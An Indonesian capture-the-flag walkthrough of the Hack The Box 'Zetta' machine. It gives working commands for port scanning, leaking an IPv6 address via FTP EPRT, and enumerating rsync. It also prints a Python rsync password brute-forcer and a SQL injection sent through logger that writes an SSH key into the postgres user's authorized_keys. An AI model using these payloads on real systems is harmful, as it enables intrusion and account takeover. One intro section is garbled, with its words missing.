Hack The Box - Zetta Walkthrough FXP, IPv6, rsync, Postgres dan SQLi

gambar

Saya terus menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox . Saya berharap ini akan membantu setidaknya seseorang untuk berkembang di bidang keamanan informasi. Pada artikel ini, kita mempelajari alamat server IPv6 menggunakan FXP, bekerja dengan rsync, dan juga menulis kunci ssh menggunakan injeksi SQL saat memproses log di Postgres.

Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda masuk ke jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)

Informasi Organisasi
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Recon


Mesin ini memiliki alamat IP 10.10.10.156, yang saya tambahkan ke / etc / hosts.

10.10.10.156    zetta.htb

Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.156 --rate=500

gambar

Selanjutnya, Anda perlu mengumpulkan lebih banyak informasi tentang port yang dikenal. Untuk melakukan ini, gunakan nmap dengan opsi -A.

nmap -A zetta.htb -p21,22,80

gambar

Lihatlah apa yang ada di ftp.

gambar

Hasilnya, spanduk mengatakan bahwa kita dapat terhubung melalui IPv6. Mari kita lihat apa yang ada di server web.

gambar

Kami mengamati Native FTP dengan dukungan untuk FXP. FXP adalah cara mentransfer file antara dua server FTP secara langsung, tanpa mengunduhnya ke komputer Anda. Selama sesi FXP, klien membuka dua koneksi FTP ke dua server yang berbeda, meminta file pada server pertama, menunjukkan alamat IP dari server kedua dalam perintah PORT.

gambar

Menggulir sedikit, kami menemukan nama pengguna dan kata sandi untuk FTP. Dan setelah memasukkan kredensial, kami diberitahu bahwa ada dukungan untuk FXP.

gambar

Tapi entah tidak ada file di server, atau tidak diberikan kepada kami. Tetapi karena server ini mendukung FXP, kita dapat berpura-pura menjadi server lain, server target memulai koneksi. Dengan demikian, kami akan mengungkapkan alamat IPv6nya sesuai dengan RFC 2428.

gambar

gambar

Ini diperlukan untuk pemindaian lebih lanjut, karena tuan rumah mungkin memiliki layanan yang hanya menerima koneksi IPv6. Jadi kita perlu tahu alamat kita.

gambar

Menggunakan tcpdump, kami akan melacak lalu lintas yang menuju ke port 4321.

gambar

Dan menggunakan netcat kami terhubung ke ftp dan tentukan kredensial.

nc zetta.htb 21

gambar

Dan sekarang kami mengirim permintaan EPRT.

gambar

Dan kami mengamati alamat IPv6 dari host target.

gambar

Sekarang tuliskan ke / etc / hosts sebagai ganti IPv4 dan pindai semua port menggunakan nmap, tambahkan opsi -6.

nmap -6 zetta.htb -p-

gambar

Sekarang kami mendapatkan informasi lebih lanjut menggunakan opsi -A.

nmap -A -6 zetta.htb -p21,22,80,8730

gambar

Titik masuk


Rsync (sinkronisasi jarak jauh) adalah program untuk sistem mirip UNIX yang menyinkronkan file dan direktori di dua tempat sambil meminimalkan lalu lintas. Rsync dapat menyalin atau menampilkan isi direktori dan menyalin file, secara opsional menggunakan kompresi dan rekursi. rsync hanya mentransfer perubahan file, yang memengaruhi kinerja program. Mari kita lihat daftar modul.

rsync -6 --list-only rsync://zetta.htb:8730/

gambar

Beberapa direktori penting tidak ada dalam daftar ini. Tetapi direktori dll tersedia.

rsync -6 -av rsync://zetta.htb:8730/etc/rsync*

gambar

Kami membaca rsyncd.conf, untuk file ini di komputer lokal.

rsync -6 -a rsync://zetta.htb:8730/etc/rsyncd.conf .

gambar

Ada modul tersembunyi di config - home_roy, yang mengarah ke roy direktori home pengguna, dan itu dilindungi kata sandi dari rsyncd.secrets, tetapi tidak tersedia bagi kami.

rsync -6 rsync://zetta.htb:8730/home_roy/

gambar

PENGGUNA


Ketika tidak ada lagi ide, saya harus memilah kata sandi. Untuk ini, kode Python ditulis dan daftar kata sandi dari Seclists digunakan.

#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

with open("/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt", "r") as f:
    passwords = f.read().split('\n')

for password in passwords:
    s = process(["rsync", "-6", "rsync://roy@zetta.htb:8730/home_roy"], env={"RSYNC_PASSWORD":password})
    clear()
    clear()
    print(("password: " + password).ljust(30, " "), end="\r\r")
    
    s.recvuntil("\"Cloud sync\".\n\n\n")
    if b"@ERROR:" not in s.recv():
        print("found!!!")
        break
    s.close()
clear()

gambar

Sekarang kita tahu kata sandinya, mari buat kunci ssh dan unggah ke server.

gambar

gambar

gambar

Dan menghubungkan melalui SSH dengan kunci ini, kami mengambil token pengguna.

gambar

AKAR


Di sebelah token terdapat petunjuk - daftar tugas.

gambar

Mari kita buka.

todo .tudu.xml

gambar

Mari kita lihat semua tugas yang direncanakan. Server menggunakan git.

gambar

Dalam hal ini, log peristiwa disimpan dalam database.

gambar

Dan juga berencana untuk mengubah kata sandi, yang saat ini terlihat seperti jenis tertentu.

gambar

Hal pertama yang kita lakukan adalah pergi ke git, karena di sana kita dapat melihat sejarah perubahan konfigurasi. Temukan semua direktori .git di server.

gambar

Kami paling tertarik dengan jurnal rsyslog, jadi saya menyalin seluruh repositori ke mesin lokal.

gambar

Sekarang kita pergi ke direktori dengan repositori dimuat dan menggunakan gitk (antarmuka grafis agak mudah, tetapi nyaman).

gambar

Kami melihat kredensial, tetapi jika kami menggunakannya, kami gagal. Juga di repositori, Anda bisa melihat templat yang sesuai dengan log yang diletakkan dalam database. Log disimpan di /var/log/postgresql/postgresql-11-main.log, yang dapat diakses oleh grup admin yang menjadi anggota kami.

gambar

Karena kita berurusan dengan basis data, Anda dapat mencoba injeksi. Kami akan membuat acara untuk merekam menggunakan logger, secara bersamaan melacak secara real time apa yang masuk ke log (untuk kenyamanan, Anda dapat menggunakan qterminal dengan jendela terpisah) menggunakan arloji.

watch -n 1 cat postgresql-11-main.log

Dan kirim acara.

logger -p local7.info "'"

gambar

Dan terjadi kesalahan yang menunjukkan kemungkinan injeksi. Melihat / etc / passwd, kami mengetahui bahwa pengguna layanan postgres memiliki / bin / bash shell.

gambar

Dengan demikian, kita dapat masuk melalui ssh. Ini akan memberi kita akses ke file postgres, termasuk riwayat perintah. Mari kita periksa apakah kita dapat menulis file menggunakan injeksi.

logger -p local7.info "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$RALF\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/tmp/ralf\$\$;-- -"

gambar

Baik. Kami akan membuat kunci ssh dan menulis kunci publik ke server di direktori home pengguna layanan postgres: /var/lib/postgresql/.ssh/authorized_keys.

gambar

logger -p local7.info -s "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRC9/M7mhpZ/0Rs/HyPIC58k3qDu3xRVmMgt/gky8VCpH49WVkkLpW0tFNL1Z7d/NN8efres0+aG7VJXop20P4uO7BT4ikK8ccDzXKHlSVPweevKu8AAVqu98mKxXJBNI/uQ1giv+zwS23hbe5DQTGldeOSPzClxal8sj99kqCk1aN8Cs7I6+vBcOkHoMVKB8dR9Hu0ZwvLzvWDnnBR1txmjrNDPt25I+2gNc3JYvqIS2QIV2DSdh5UoFKVzA27Mav3A0yL6zJjUynnluAa27HMsKdvrfA0Q5zIY3F/snHCl4X/wxZh4o9bnfxUFt6OC0sLxk5ro1Vw6EjgACZj+aFoFXBMgX59YpUVtXbXvN/ACMkIyLh/f7CvqWDD9sppZtcBKVYB1jzlqIG5ekgv55aCrTeX9CuS9YbZrrjZC2Dos7YTOwD9TBItlR8VcU0JcR1GiS+GHZv0Rm9pizHchOiPocWqdryoGqfTfCav4AvrhDHtzk4P/C1fa3flwb3NxE= root@Ralf-PC\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/var/lib/postgresql/.ssh/authorized_keys\$\$;-- -"

Sekarang mari kita membahas ssh.

ssh -i psg_id_rsa postgres@zetta.htb

gambar

Kami melihat sejarah postgres.

gambar

Dan kami menemukan kata sandinya. Kami mengingat aturan kata sandi dari daftar yang harus dilakukan, mengganti pengguna dengan root, dan masuk.

gambar

Kami dengan hak penuh!

Anda dapat bergabung dengan kami di Telegram . Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

All Articles